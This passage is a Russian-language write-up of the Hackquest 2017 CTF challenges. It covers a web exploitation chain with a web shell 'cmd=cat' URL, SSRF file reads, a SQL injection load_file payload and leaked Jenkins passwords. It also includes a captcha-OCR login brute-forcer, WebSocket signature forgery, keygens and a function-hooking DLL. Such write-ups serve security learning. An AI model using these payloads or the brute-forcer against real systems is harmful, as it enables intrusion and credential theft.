Hackquest 2017. Results & Writeups
Семь дней и семь интересных заданий — это наиболее ёмкое описание ежегодного хакквеста перед Zeronights. В этом году темы заданий оказались более разнообразными, что позволило сделалать квест интересным для большего числа участников. Прочитав данную статью, вы сможете ознакомиться с решением всех заданий, а также узнать имена победителей.
Day 1. WebPWN
Первый день начался с классического Web. Задание от ONSEC состояло из эксплуатации таких уязвимостей, как частичный обход авторизации, command injection, sql injection, SSRF. Последовательно воспользовавшись каждой из них, можно было получить rce и прочитать флаг. Около 1800 человек пыталось решить это задание.
Победители | ||
1 место | 2 место | 3 место |
|
|
|
Также решили: ilyaluk
, raz0r
, akamajoris
, kurlikasd
, poneev
, shvetsovalex007
, leon+zeronights
, mohemiv
Try to save a company from the Initial Coin Offering (ICO) and consequent loss of money.
http://zeroevening.org
http://zeroevening.org/
Сайт с заданием представляет собой почти пустую страницу. Из интересного — только html комментарий.
http://bitbucket.zeroevening.org/
http://bitbucket.zeroevening.org
Находим поддомен с bitbucket v4.7.1, который уязвим к частичному обходу авторизации.
http://bitbucket.zeroevening.org/admin%20/server-settings
http://git-admintools.zeroevening.org
Из настроек узнаем о поддомене git-admintools.zeroevening.org
, на котором расположен скрипт, позволяющий сделать git clone --recursive
по произвольному URL. Файлы сохраняются в веб-директорию /repos/%repo_name%/.
В данном задании предполагалось использование CVE-2017-1000117
, но я пошел более простым путем и скопировал проект с кучей готовых пейлоадов PayloadsAllTheThings
. Оказалось, что расширения pht
и phtml
не были заблокированы и я сразу получил готовый шелл.
http://git-admintools.zeroevening.org/repos/PayloadsAllTheThings/Upload%20insecure%20files/PHP%20Extension/phpinfo.pht
http://git-admintools.zeroevening.org/repos/PayloadsAllTheThings/Upload%20insecure%20files/PHP%20Extension/phpinfo.phtml
Читаем config.php
и идем на следующий поддомен.
http://git-admintools.zeroevening.org/repos/PayloadsAllTheThings/Upload%20insecure%20files/PHP%20Extension/Shell.phtml?cmd=cat+/var/www/html/config.php
http://dev-cyberplatform-ico.zeroevening.org
http://dev-cyberplatform-ico.zeroevening.org/?url=ops.jpg
На данном сайте через параметр url
можно сделать SSRF и чтение произвольных файлов, результат попадает на страницу в виде base64 картинки. Я потратил довольно много времени на поиски исходного кода или конфигов, пока не наткнулся на /etc/hosts
.
http://dev-cyberplatform-ico.zeroevening.org/?url=/etc/hosts
172.18.0.3 83c994f72770
Пробуем соседние IP
и находим скрипт с SQL Injection
.
http://dev-cyberplatform-ico.zeroevening.org/?url=http://172.18.0.2/user.php?username=root%27=0%2bunion%2bselect%2b1,load_file%28%27/var/www/html/install.php%27%29,3,4–%2b-
Читаем install.php
и находим пароли для jenkins.
mysql_query("INSERT INTO users (login,pass,status) VALUES ('root', MD5('toor'), 'admin');");
mysql_query("DROP TABLE jenkins_users");
mysql_query("CREATE TABLE jenkins_users ( username TEXT, password TEXT );");
mysql_query("INSERT INTO jenkins_users (username,password) VALUES ('bomberman', 'HVQ8UijXwU)');");
mysql_query("INSERT INTO jenkins_users (username,password) VALUES ('cyberpunkych', 'DC8800_553535_proshe_pozvonitb_chem_y_kogo_to_zanimatb');");
mysql_query("INSERT INTO jenkins_users (username,password) VALUES ('bo0om', 'Hipe4Money')");
mysql_query("INSERT INTO jenkins_users (username,password) VALUES ('jbfc', 'InBieberWeTrust')");
Находим поддомен jenkins, авторизуемся под bomberman и получаем RCE.
http://jenkins.zeroevening.org/computer/(master)/script
Находим флаг, сдаем и… ничего не происходит, потому что в флаге, который лежал на сервере была опечатка. Я подумал, что это какой-то троллинг и задание нужно ковырять еще глубже, но, ничего не найдя, пошел спать. В итоге все-таки оказался первым и получил инвайт.
Day 2. Petrovkey
Второй день состоял из большого таска от R0crew на reverse engineering. Необходимо было разобраться с несколькими слоями «упаковки» бинарного файла. Изначальный файл представлял собой виртуальную машину, работающую внутри исполняемого файла на языке Go. В общей сложности файл был скачан более 250 раз.
Победители | |
1 место | 2 место |
|
|
Your friend works in an antivirus company. He developed a new algorithm for generating a license key and asks you to test it.
Нам дан архив с исполняемым файлом ELF x86_64 »petrovavlic
». Недолго думая, открываем его в IDA, и видим, что он запакован UPX 3.94. Сам UPX распаковать его не может, автор вырезал имена секций. Каким-нибудь образом его распаковываем, например, восстановлением названий, и продолжаем.
По строкам из распакованного файла сразу понятно, что он написан на Go. Из них же и узнаем об авторе задания.
00000fb0: 2800 0000 0400 0000 476f 0000 3766 6661 (.......Go..7ffa
00000fc0: 3865 6437 3736 6134 3236 3237 3165 3864 8ed776a426271e8d
00000fd0: 6664 3937 3062 3530 6330 3163 6637 3666 fd970b50c01cf76f
0024e7e0: 44eb 0900 2f68 6f6d 652f 6b72 656f 6e2f D.../home/kreon/
0024e7f0: 476f 676c 616e 6450 726f 6a65 6374 732f GoglandProjects/
0024e800: 7461 736b 3230 302f 766d 2e67 6f00 002f task200/vm.go../
0024e810: 686f 6d65 2f6b 7265 6f6e 2f47 6f67 6c61 home/kreon/Gogla
0024e820: 6e64 5072 6f6a 6563 7473 2f74 6173 6b32 ndProjects/task2
0024e830: 3030 2f6d 6169 6e2e 676f 0000 2f68 6f6d 00/main.go../hom
...
Бинарь постриплен — стандартная отладочная информация отсутствует. К счастью, в Go для рефлексии в секции .gopclntab
сохраняются названия всех функций, и легко найти готовые скрипты для их восстановления, например, этот.
Все названия восстановлены — направляемся прямиком в main.main
.
Side note: в golang используется нестандартное соглашение о вызовах. В x86_64 стандартным является только одно, fastcall. В golang не используются регистры для передачи параметров, а возвращаемые значения (их может быть больше одного QWORD) кладутся на стек. Это доставляет определённые неудобства при использовании Hex-Rays
Там происходит примерно это:
main.__pre__start()
fmt.Println("PetrovAntivirus Activator")
fmt.Print( "Please enter a valid email: ")
bufio._p_Reader_.ReadString(email)
main.__check__email(email)
fmt_Print( "Please enter an activation key: ")
bufio._p_Reader_.ReadString(key)
main.__check__key(key)
table = main.__gen__table(email, key)
main.__check_key_e(email, key, table)
Разберём вызовы по порядку.
main.__pre__start()
: устанавливаются обработчики сигналов и происходит несколько системных вызовов SYS_ptrace
с параметром PTRACE_TRACEME
. Таким образом, в том числе, становится невозможно дебажить бинарь. Для нормального дебага можно вырезать установку сигналов и системные вызовы. Почему нельзя просто вырезать вызов main.__pre__start()
? Для получения номеров системных вызовов используется функция main._p_syscall__table.__get__syscall__id
, в которой находится большой свитч. Он смотрит текущее значение системного вызова, определает по нему следующий и сохраняет. Таким образом, если не вызвать эту функцию один раз, все её дальнейшие результаты окажутся невалидны.
main.__check__email(email)
: почта просто проверяется на нормальный вид.
main.__check__key(key)
: проверяется, что ключ имеет вид XXXX-XXXX-XXXX-XXXX-XXXX-XXXX
, где X
это [0-9A-Z]
.
main.__gen__table(email, key)
: тут начинаются первые сложности. Подсчитывается сумма 5 и 6 блоков ключа (ord(key[0]) + ...
), также подсчитывается MD5 почты, и этот хеш никак не используется. Делается sprintf("%02X%02X", ...)
для email[0:1]
и email[4:5]
, далее для этих строк из 4 символов по тому же принципу подсчитываются суммы. Затем считается результат, пара чисел:
syscall_id_1 = main__p_syscall__table____get__syscall_id(&a1);
syscall_id_2 = main__p_syscall__table____get__syscall_id(&a1);
table[0] = Part5_sum + 4 * syscall_id_1 * syscall_id_2 + EMAIL__0_1_sum;
syscall_id_3 = main__p_syscall__table____get__syscall_id(&a1);
syscall_id_4 = main__p_syscall__table____get__syscall_id(&a1);
table[1] = Part6_sum& + 2 * syscall_id_3 * syscall_id_4 + EMAIL__4_5_sum;
Таким образом, в расчёте неких двух чисел участвует email и последние 2 блока ключа.
И вот мы подошли к главной функции: main.__check_key_e(email, key, table)
. Почти первой же строчкой идёт такой вызов github_com_Shopify_golua_NewState();
. Название говорит само за себя, это модуль для исполнения Lua в Go. Таким образом, где-то в бинаре спрятан проверочный скрипт на Lua.
Далее по ходу функции нужно выделить вызовы github_com_Shopify_golua__p_State__Register
, которые регистрируют в виртуальной машине Lua внешние функции, написанные на Go. Таких внешних функций 4: getkey — получение key в виде 6 блоков, getmail — получение email, goodkey — сообщение об успехе, badkey — о неудаче. После этого происходит github_com_Shopify_golua__p_State__Load(...)
и сразу за ним github_com_Shopify_golua__p_State__ProtectedCall(...)
, то есть запускается проверочный скрипт.
Откуда берётся проверочный скрипт? Исходный код go-lua говорит, что первым аргументом в Load
идёт io.Reader
, из которого читается скрипт. io.Reader
— это интерфейс, в котором есть всего один метод: Read
. Поискав функции с _Read
в названии, находим интересную _home_kreon_GoglandProjects_task200_eblob__p_BlobReader__Read
. Её полный код с небольшими изменениями:
__int64 __usercall _home_kreon_GoglandProjects_task200_eblob__p_BlobReader__Read@(_QWORD *a1, _BYTE *a2, unsigned __int64 a3)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
v3 = qword_6B69F8;
v4 = a1[2] - a1[4];
if ( (signed __int64)a3 <= v4 )
v4 = a3;
for ( i = 0LL; (signed __int64)i < v4; ++i )
{
v6 = a1[4];
j = v6 + *a1;
if ( j >= qword_6AF6A8 || (v8 = EncBlob[j], k = a1[1] + v6, k >= qword_6AF6A8) || (v10 = EncBlob[k] ^ v8, i >= a3) )
runtime_panicindex(a2, a3, a1);
a2[i] = v10;
++a1[4];
}
if ( a1[4] >= a1[2] )
result = v3;
else
result = 0LL;
return result;
}
Видно, что a[0]
и a[1]
— это некоторые оффсеты в EncBlob
, по которым находится 2 массива. В цикле берутся последовательные элементы из этих массивов и ксорятся. Логично предположить, что в этом массиве и спрятан скрипт.
Для поиска скрипта можно перебрать все возможные оффсеты, поксорить пару чисел из этих адресов и посмотреть на результат. Мы уже знаем, что в скрипте вызываются функции goodkey
и badkey
, можно поискать DWORD 'good'
и найти нужные оффсеты: 23620 и 195814 (о чём и была третья подсказка). Также можно заметить, что перед вызовом Load
создаётся объект Reader
, в который в [0]
и [1]
записываются наши результаты __gen__table
. Значит, для подсчитанных в __gen__table
значений известно, какими они должны быть, следовательно, это тоже проверка ключа.
local KEY = getkey()
local MAIL = getmail()
local keypart_sums = {}
local M = {}
local keypart_it = 1
local MAIL_extended = ""
local MAIL_ext_sums = {1,1,1,1}
keypart_it = 1
for i=1,4 do
local keypart_sum = 0
local keypart_len = 0
for c=1,KEY[i]:len() do
keypart_sum = keypart_sum + KEY[i]:byte(c)
keypart_len = keypart_len +1
end
if keypart_len ~= 4 then
return badkey()
end
keypart_sums[keypart_it] = keypart_sum
keypart_it = keypart_it +1
end
for i=1,4 do
for j=1,4 do
M[(i - 1) * 4 + j] = (keypart_sums[i] + keypart_sums[j]) % 169
end
end
while string.len(MAIL_extended) < 64 do
MAIL_extended = MAIL_extended .. MAIL
end
keypart_it = 1
local MAIL_ = 1
for c=1,64 do
MAIL_ext_sums[MAIL_] = MAIL_ext_sums[MAIL_] + MAIL_extended:byte(c)
MAIL_ = MAIL_ + 1
keypart_it = keypart_it + 1
if MAIL_ == 5 then
MAIL_ = 1
end
end
for i=1,4 do
MAIL_ext_sums[i] = MAIL_ext_sums[i] % 13
end
keypart_it = 1
for i=1,16,5 do
M[i] = MAIL_ext_sums[keypart_it]
keypart_it = keypart_it + 1
end
local v________ = {}
for i=1,4 do
s = 0
for j=1,4 do
s = s + M[(j - 1)*4 + i]
end
v________[s] = 1
end
local pairs_num = 0
for k,v in pairs(v________) do
pairs_num = pairs_num + 1
end
if pairs_num == 1 then
goodkey()
else
badkey()
end
Вкратце, в скрипте также считаются суммы кодов символов, складываются друг с другом в матрицу 4×4, туда же записываются суммы кодов символов в email, и проверяется, что суммы столбцов матрицы равны между собой.
У нас есть все проверки. Чтобы с их помощью сгенерировать ключ, можно использовать z3. Полный скрипт лежит в keygen.py
, в нём мы создаём символический ключ и добавляем в решатель все найденные ограничения, затем z3
за нас подбирает решение системы.
import sys
sys.path.append(r'C:\tools\z3-4.5.0-x64-win\bin\python')
from z3 import *
init(r'C:\tools\z3-4.5.0-x64-win\bin')
mail = 'zn2017@reverse4you.org'
cons = True
def add_con(con):
global cons
cons = And(cons, con)
key = [[Int('key_{}_{}'.format(i, j)) for j in range(4)] for i in range(6)]
# for i in range(len(key)):
# add_con((key[i][0] + key[i][1] + key[i][2]) % 5 == key[i][3] % 3)
for i in range(len(key)):
for j in range(len(key[i])):
add_con(
Or(
And(key[i][j] >= ord('0'), key[i][j] <= ord('9')),
And(key[i][j] >= ord('A'), key[i][j] <= ord('Z'))))
keypart_sums = [sum(key[i]) for i in range(len(key))]
m = [[None for j in range(4)] for i in range(4)]
for i in range(4):
for j in range(4):
m[i][j] = (keypart_sums[i] + keypart_sums[j]) % 169
mail_ext = (mail * 100)[:64]
mail_sums = [sum(map(ord, mail_ext[i::4]), 1) % 13 for i in range(4)]
for i in range(4):
m[i][i] = mail_sums[i]
col_sums = [sum(m[j][i] for j in range(4)) for i in range(4)]
add_con(col_sums[0] == col_sums[1])
add_con(col_sums[1] == col_sums[2])
add_con(col_sums[2] == col_sums[3])
add_con(sum(map(ord, '%02X%02X' % (ord(mail[0]), ord(mail[1])))) + 0x5A1C + keypart_sums[4] == 0x5C44)
add_con(sum(map(ord, '%02X%02X' % (ord(mail[4]), ord(mail[5])))) + 0x2FABE + keypart_sums[5] == 0x2FCE6)
# print(cons)
cons = simplify(cons)
# print(cons)
s = Solver()
s.add(cons)
print(s.check())
model = s.model()
print('-'.join(''.join(chr(model[key[i][j]].as_long()) for j in range(4)) for i in range(6)))
Day 3. YouAreWelcome
На третий день участников снова ждал Web (таск от SibearCTF). В начале задание могло показаться простым, однако, как выяснилось позже, капча и брут пароля остановили всех, кроме одного участника, который и стал победителем. Всего задние пыталось решить 480 человек.
Победитель |
1 место |
|
The competition is not over yet. You still have the opportunity to get the flag: http://zeronights.sibirctf.org/2017/
- XSS in feedback form. Got access to moderator account. Nothing useful here though, except the list of approved accounts.
- Trying to register own team — got password to email. Password is 4 digits, so can be easily bruteforced.
Login form is protected with simple captcha. Wrote simple script using pytesseract https://github.com/madmaze/pytesseract to recognize captcha and bruteforce login form. After 10 minutes got password for one of approved team account.
import sys import io import re import requests import pytesseract from PIL import Image from multiprocessing import Pool def get_cap(): URL = "http://zeronights.sibirctf.org/2017/sign_up" CAP_URL = "http://zeronights.sibirctf.org/captcha/image/" r = requests.get(URL) res = r.text h = re.findall("/captcha/image/([a-f0-9]+)/", res)[0] img_f = io.BytesIO(requests.get(CAP_URL+h+"/").content) c = pytesseract.image_to_string(Image.open(img_f), config="./tesseract.config") return (h, c) def brute(x): URL = "http://zeronights.sibirctf.org/2017/login" email = "keva_a78ff3@sibirctf.org" h, c = get_cap() r = requests.post(URL, data={ "_username": email, "_password":str(x), "captcha_0": h, "captcha_1": c }) if (r.status_code) != 400: print(email, x) sys.exit(0) pool = Pool(10) pool.map(brute, range(1000,10000)) pool.close() pool.join()
- Approved user accounts have WebSocket-based chat window. Every WebSocket message should contain signature which authorizes sender. Unfortunately, existing signatures was incorrect. Actually signature was md5('10'), while my user account id was 4. Tried use md5('4') and it worked.
var my_user_id = 4, my_sign = "d3d9446802a44259755d38e6d163e820";
There was two possible message types: «new» — subscribe to new messages and «message» — send the message to somebody. Sending messages to admin account was useless, so i decided to subscribe to new messages for admin account using md5('1') as a signature.
var uid = 1; var sign = 'c4ca4238a0b923820dcc509a6f75849b'; ws = new WebSocket("ws://13.93.88.79:8001/"); ws.onmessage = function(e) { try { console.log(JSON.parse(e.data)) } catch(Exception ) { console.log((e.data)) } } ws.onopen = function(){ ws.send(JSON.stringify({ 'type': 'new', 'userid': uid, 'signature': sign })); };
- Seems like there was some issues with bot, sending flag messages to admin account, but after a while i got it.
w0w_c0n6r47ul4710n_m337_47_z3r0n16h75
Day 4. Remansory challenge
Четвертый день представлял собой цепочку заданий нарастающей сложности от R0crew. Первое звено цепочки было самым простым и его смогли пройти 20 человек. Второе звено оказалось по силам для 6 человек, а до решения последнего добрались только двое. Подробное описание каждого этапа можно найти под спойлером.
Победители | ||
1 место | 2 место | 3 место |
|
|
|
Также решил: Aleksey Cherepanov
You received an invitation to join the Masonic lodge of reverse engineers. But it’s not so simple. You must complete the initiation and solve 4 tasks in one day. Good luck! You will find us in the telegram (@remasonry_bot)
Task #1
Имеется PE32 exe
файл. Строки:
Подаем user_id и какой-нибудь пароль, смотрим, что программа с ними делает.
Подменим содержимое bytesUserId
на "I'm ready!!!!"
(не забудем, обновить размер буфера для DIV EBX) и пропатчим немного программу.
После выполнения цикла szSalt
содержит наш пароль.
Task #2 packer
Есть программа для распаковки архивов неизвестного формата и набор файлов, которые нужно в такой архив упаковать.
Никаких обфускаций, защит и прочего, очень простой формат. Приведу его описание.
По этой информации не составляет труда написать упаковщик.
Не забываем про ограничение в 1 мегабайт, так что все повторяющиеся файлы сохраняем только один раз в FD
.
Программа для чтения:
import struct
data = open('2017.zn', 'br').read()
position = 0
lst_position = 0
def read_dword():
global data, position, lst_position
value = struct.unpack('
Программа для упаковки:
import struct
import os
magic = 0x30324e5a
version = 0x3731
FOLDERS = []
FOLDERS_mirr = []
FILES = []
FILENAMES = []
FILENAMES_real = []
FILEDATAINFO = []
FILEDATA = b''
TARGET_FOLDER = 'pack_me'
FOLDERS_mirr += [TARGET_FOLDER]
FILES_mirr = []
for dirname, dirnames, filenames in os.walk(TARGET_FOLDER):
for subdirname in dirnames:
FOLDERS += [(len(FOLDERS) + 1, FOLDERS_mirr.index(dirname), len(FILENAMES))]
FOLDERS_mirr += [dirname + '\\' + subdirname]
FILENAMES += [(dirname + '\\' + subdirname, 1)]
for dirname, dirnames, filenames in os.walk(TARGET_FOLDER):
for flnm in filenames:
FILES += [(len(FILES), FOLDERS_mirr.index(dirname), len(FILENAMES))]
FILES_mirr += [dirname + '\\' + flnm]
FILENAMES += [(dirname + '\\' + flnm, 0)]
for idx, x in enumerate(FILENAMES):
fn = FILENAMES[idx][0].split('\\')[-1]
FILENAMES_real += [(idx, len(fn), fn.encode('utf-8'))]
for idx, x in enumerate(FILENAMES):
if x[1] == 0:
fdata = open(x[0], 'rb').read()
if fdata not in FILEDATA:
FILEDATA += fdata
offset = FILEDATA.index(fdata)
fsize = len(fdata)
FILEDATAINFO += [(FILES_mirr.index(x[0]), offset, fsize)]
zn_new_offset = [0 for i in range(5)]
zn_new_size = [0 for i in range(5)]
DATA = b''
for x in FOLDERS:
DATA += struct.pack('
Task #3 random.apk
Задание, по словам организатора, было с багом, так что всем просто сообщали ответ.
Разберем его тоже.
Имеется apk
файл, который ожидает ввода некоторой строки.
Восстановим алгоритм проверки.
import java.math.BigInteger;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
public class Main {
//private static final String base64chars = "A2CTEFGHnJKLMNsPQ7SDlVvXYZabcdefghijkUmIopqrOtuWwxyz01B3456R89+/";
private static String CalcMD5(String paramString) throws NoSuchAlgorithmException {
MessageDigest localMessageDigest = MessageDigest.getInstance("MD5");
localMessageDigest.update(paramString.getBytes(), 0, paramString.length());
return new BigInteger(1, localMessageDigest.digest()).toString(16);
}
//
private static long Random(long paramLong) {
return (0xFFFFFFF & 11L + 252149039L * paramLong) >> 8;
}
private static long RandomSkip50(long paramLong) {
for (int i = 0; i < 50; i = i + 1) {
paramLong = Random(paramLong);
}
return paramLong;
}
private static String RandomGetString(String paramString, long paramLong) {
String str = "";
for (int i = 0; i < 32; i++) {
paramLong = Random(paramLong) & 0xFF;
str += paramLong ^ paramString.charAt(i);
}
return str;
}
public static void main(String[] args) throws NoSuchAlgorithmException {
String str = "INPUT_HASH_HERE"; // CalcMD5("SuperAndroidChallenge"); // baaee25a694971ac1e6dde4b2e8b1386
String[] arrayOfString = new String[500];
for (int i = 0; i < arrayOfString.length; i++) {
arrayOfString[i] = RandomGetString(str, RandomSkip50(i));
}
int j = 0;
for (int k = 0; k < arrayOfString.length; k++) {
j += arrayOfString[k].length();
}
if (j == 40762) {
System.out.println("OK");
}
}
}
В первую очередь, попытаемся найти хеш, который пройдет контрольную проверку.
Алгоритм проверки сводится к суммированию длины некоторого набора строк (500 штук).
Каждая строка генерируется как конкатенация тридцати двух десятичных чисел, каждое из которых — это xor гаммы и одного символа хеша (в строковом представлении, нижний регистр).
Обращаем внимание, что гамма не зависит от хеша, так что её можно считать константной (зависит только от строки и колонки).
Её можно вычислить заранее и сохранить в файл. Получится таблица 500×32 элементов.
Ниже, для примера, приведено несколько первых строк таблицы.
Очевидно, десятичное число после xor с символом хеша может быть длины 1, 2 или 3.
Зная, что символы хеша могут принимать только значения из диапазона [a-f0-9]
, можно однозначно определить длину результирующего десятичного числа на некоторых позициях, в то время как на других свести в точности к двум вариантам (подтверждено практически).
Преобразовываем таблицу так, чтобы её элементами были списки возможной длины результирующего десятичного числа.
На данном этапе контрольное число 40762 — это сумма значений всей таблицы.
Понятно, что можно беспрепятственно вычесть из контрольного числа минимум каждого элемента (который является списком) таблицы, не забыв при этом уменьшить и соответствующие значения самого списка. Теперь контрольное число это 3449. А таблица будет состоять из элементов двух типов: [0]
и [0, 1]
.
Рассмотрим один столбец такой таблицы. Попробуем представить все возможные комбинации из элементов [0, 1]
. Ясно, что существуют невозможные варианты, которые нельзя получить, зафиксировав букву хеша. Поэтому, во время поиска решения, необходимо использовать только допустимые расстановки 0
или 1
.
Зафиксируем букву хеша в некоторой позиции (от 0 до 31, включительно), так весь столбец таблицы, соответствующий этой позиции, примет однозначные значения. Просуммируем столбец и запишем в список (без повторений). Повторим эту операцию для всех остальных возможных символов хеша.
Теперь для каждой позиции у нас есть массив возможных вкладов колонки в общую сумму.
[100, 103, 94, 102, 97, 98, 95]
[109, 123, 108, 115, 114, 111, 112]
[103, 116, 122, 114, 95, 93, 97, 112, 119]
[121, 100, 107, 125, 105, 124, 90, 104, 120]
[100, 101, 103, 87, 105, 102, 91, 95]
[121, 109, 123, 126, 110, 102, 118, 90, 119]
[100, 101, 128, 82, 119, 118, 88, 134, 130]
[121, 127, 106, 122, 97, 112, 88, 119]
[103, 116, 92, 111, 112, 110, 88]
[128, 81, 80, 92, 90, 104, 91, 131, 95]
[123, 127, 126, 93, 102, 104, 124, 98]
[117, 133, 100, 123, 108, 142, 96, 119]
[117, 109, 133, 103, 93, 112, 110, 88, 134]
[75, 71, 101, 129, 116, 110, 102, 91, 130]
[98, 87, 94, 93, 148, 86, 149]
[100, 158, 103, 90, 88, 83, 95]
[87, 84, 86, 90, 88, 89, 145]
[100, 101, 103, 150, 93, 151, 89, 95]
[117, 108, 105, 166, 165, 111, 93, 96]
[117, 100, 107, 150, 114, 90, 110, 83, 149]
[117, 99, 116, 114, 112, 152, 88, 96, 154]
[108, 101, 103, 99, 153, 111, 102, 156]
[117, 176, 101, 99, 80, 122, 96, 167]
[77, 117, 140, 138, 102, 86, 118]
[101, 99, 158, 159, 104, 102, 90, 96, 95]
[109, 101, 115, 84, 111, 143, 90]
[107, 82, 168, 161, 102, 90, 96, 98, 95]
[71, 108, 158, 94, 85, 86, 162, 88, 106]
[75, 71, 80, 94, 92, 93, 148, 91]
[100, 99, 150, 93, 155, 83, 95]
[133, 109, 142, 87, 113, 94, 93, 85, 91]
[74, 135, 76, 80, 94, 92, 88, 149]
Решение задачи сводится к нахождению всех комбинаций «по одному элементу из каждого списка», сумма которых равна контрольному числу 3449, что по сути является частным случаем задачи об укладке ранца.
Для решения воспользуемся Z3 (SMT решатель).
from z3 import *
STUFF = [[100, 95, 98, 94, 102, 97, 103], … [88, 74, 76, 92, 80, 149, 94, 135]]
s = Solver()
chars = []
for i in range(len(STUFF)):
chxr = Int('c_%d' % i)
s.add(Or([chxr == STUFF[i][j] for j in range(len(STUFF[i]))]))
chars += [chxr]
s.add(Sum(*chars) == 3449)
while s.check() == sat:
mod = s.model()
d = [mod[Int('c_%d' % i)] for i in range(32)]
print(d)
s.add(Not(And([Int(str(xx)) == mod[xx] for xx in mod])) )
Немного подождав, получим не меньше 18к вариантов решений.
Однако каждое из таких решений может дать далеко не одно подходящее значение хеша.
Так, например, решение:
[100, 123, 122, 125, 105, 126, 134, 127, 116, 131, 127, 117, 134, 116, 149, 103, 84, 89, 93, 83, 88, 99, 80, 77, 90, 143, 107, 71, 148, 83, 85, 74]
распадается на всевозможные значения хеша, удовлетворяющие регулярному выражению:
^[6789][89][45][01][89][89][89][89][0123][f][01][23][de][01][de][a][23][bc][89][bc][bc][bc][89][bc][bc][def][a][89][def][89][bc][45]$
Примеры:
684088880f02d0da2b8bbb8ccfa9e9c4
684088880f02d0da2b8bbb8ccfa9e9c5
684088880f02d0da2b8bbb8ccfa9f8b4
684088880f02d0da2b8bbb8ccfa9f8b5
684088880f02d0da2b8bbb8ccfa9f8c4
684088880f02d0da2b8bbb8ccfa9f8c5
684088880f02d0da2b8bbb8ccfa9f9b4
Итого: Задача имеет огромное множество решений, вопрос только в обращении md5 хеша.
Task #4 pythonre
Задание представляет собой собранную в exe программу на языке Python.
Извлекаем pyc
файл.
Процесс перезапускает себя, так что перехватим CreateProcessW
, поправим CreationFlags
, приаттачимся.
По строкам найдем функцию, в которой можно перехватить буффер с pyc файлом исследуемой программы.
Прогнав через декомпилятор, не получаем ничего хорошего, код обфусцирован.
Попробуем подглядеть внутренние состояние в момент проверки ключа.
Напишем программу (dll
), которая перехватит PyObject_RichCompare
и будет выводить в консоль (stderr
) переданные её параметры.
Code:
typedef void PyObject;
typedef void (CDECL * _PyObject_Dump)(PyObject *o1);
_PyObject_Dump PyObject_Dump;
PHOOK hook1;
PyObject* CDECL xPyObject_RichCompare(PyObject *o1, PyObject *o2, int opid) {
PyObject* result = ((PyObject*(CDECL*)(PyObject*,PyObject*,int))hook1->original)(o1, o2, opid);
PyObject_Dump(o1);
PyObject_Dump(o2);
return result;
}
typedef PyObject*(CDECL * PyObject_RichCompare)(PyObject *o1, PyObject *o2, int opid);
void hackFunctions() {
PyObject_Dump = (_PyObject_Dump)GetProcAddress(GetModuleHandleA("python27.dll"), "_PyObject_Dump");
hook1 = HookFunction(GetProcAddress(GetModuleHandleA("python27.dll"), "PyObject_RichCompare"), xPyObject_RichCompare);
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) {
switch (reason) {
case DLL_PROCESS_ATTACH:
hackFunctions();
}
return TRUE;
}
Заинжектим её в процесс re_task.exe
и посмотрим несколько первых и последних записей.
Сразу обращаем внимание на регулярное выражение (которое очевидно является преобразованным содержимым data.txt
, поскольку размер в точности совпадает).
Ну и перед самым выводом сообщения о неудаче, видим вызов re.sub
и сравнение с None
.
Такое регулярное выражение уже где-то встречалось (LabyREnth 2016), но там оно было несколько проще и мой солвер оттуда не подходил для решения такой системы. Я решил посмотреть чужие решения и нашел в точности такое-же задание на PlaidCTF 2015.
Берем любой готовый солвер, немного подправляем и скармливаем нашу регулярку.
Спустя несколько часов получаем ответ.
nooyhtortroornehopetrotnnrenohtopyeohnoeyonyrherpo teptooeonoohptppeoprtphprthrhpnnyyprrpnhepoportppr enppeoernnehtynrotyynerttoyeeteepepohhoyrptnhponro tpehooeonptnophoyphnp
Архив со всеми используемыми файлами (task2.py
, task2_packer.py
, re_task.pyc
) ZN2017.7z.
Day 5. NotSafeAgency
В пятый день было необычное для Hackquest«а задание от Digital Security на демодулирование радиосигнала с последующим решением тривиальной задачи на криптографию. Около 100 человек предприняли попытки подключиться к серверу и получить дамп радиоэфира.
Победители | |
1 место | 2 место |
|
|
Yo dude! Our insider in NSA had set up some strange BUG in the printer. Nobody has seen him since then. His last message was: «They are communicating via strange devices on 2.4». We tried to understand, but failed horrobly. Now it is your turn to figure out what is going on.
The insider gave us access to the BUG: 35.195.97.218:31337 with password «antiNSAradiospy»
Самым простым способом решения задания является использование Universal Radio Hacker (URH). Этот способ мы и рассмотрим.
При подключении к этому сокету видим следующее:
ncat 35.195.97.218 31337
Hey you're entering into secure zone. Enter Password:
Вводим известный нам пароль и получаем сообщение:
Hello! This is NSA_sup3r_r4d1o_h4ck1ng_spy_d3v1c3. Select frequency. Available frequencies (MHz) is: 2401, 2402, 2403, 2404, 2405, 2406, 2407, 2408, 2409, 2410
При выборе любой частоты в консоль «падает» большое количество бинарных данных, поэтому при подключении перенаправим вывод в файл. Таким образом для получения данных с частоты 2401 используем команду:
ncat 35.195.97.218 31337 > 2401_rawdump
antiNSAradiospy
2401
Открыв еще одну консоль можно увидеть как растет размер файла 2401_rawdump
:
18M Nov 2 13:14 2401_rawdump
19M Nov 2 13:14 2401_rawdump
20M Nov 2 13:14 2401_rawdump
21M Nov 2 13:14 2401_rawdump
22M Nov 2 13:14 2401_rawdump
24M Nov 2 13:14 2401_rawdump
27M Nov 2 13:14 2401_rawdump
30M Nov 2 13:14 2401_rawdump
После 30 МБ размер файла уже не увеличивается, что говорит об окончании передачи.
Работа с дампом
По описанию таска, а так же по начальным подсказкам становится понятно, что полученный дамп как-то связан с SDR
. Логично предположить, что это дамп радиоэфира.
Проведя поиск формата записи радиоэфира с которыми работает SDR
можно обнаружить, что дамп является IQ
потоком.
Однко, в текущем виде использовать файл-дамп не получится. Используя hex редактор вырезаем начало
и конец
Теперь можно загрузить файл в URH
Видно, что передача идет частями. Приблизив одну из таких частей необходимо настроить чувствительность к шуму — параметр Noize
.
Увеличив Noze до 0.5500
видно, что большинство помех будут при демодуляции проигнорированны:
Следующим шагом является определнеие времени передачи одного бита. Для этого находим область с периодичным сигналом, затем выделяем сегмент длиной в один период и смотрим на значение определяемое URH. Видим что это 8 мкс. Делаем Bit Length
равным 8
.
Теперь переключаем вид сигнала на демодулированный (Signal View -> Demodulated
).
Подстраивем значение Center
таким образом, чтобы горизонтальная прямая, разделяющая области графика, наиболее точно соответствовала нулевому уровню отсчета.
Переключаем Show Signal as
на Hex
и получаем примерно следующий набор байт:
3c6aaccaaccaaccce2a3434b99034b9903434b73a1031b430b73732b610938000000000000000002c93bc2 [Pause: 1571 samples]
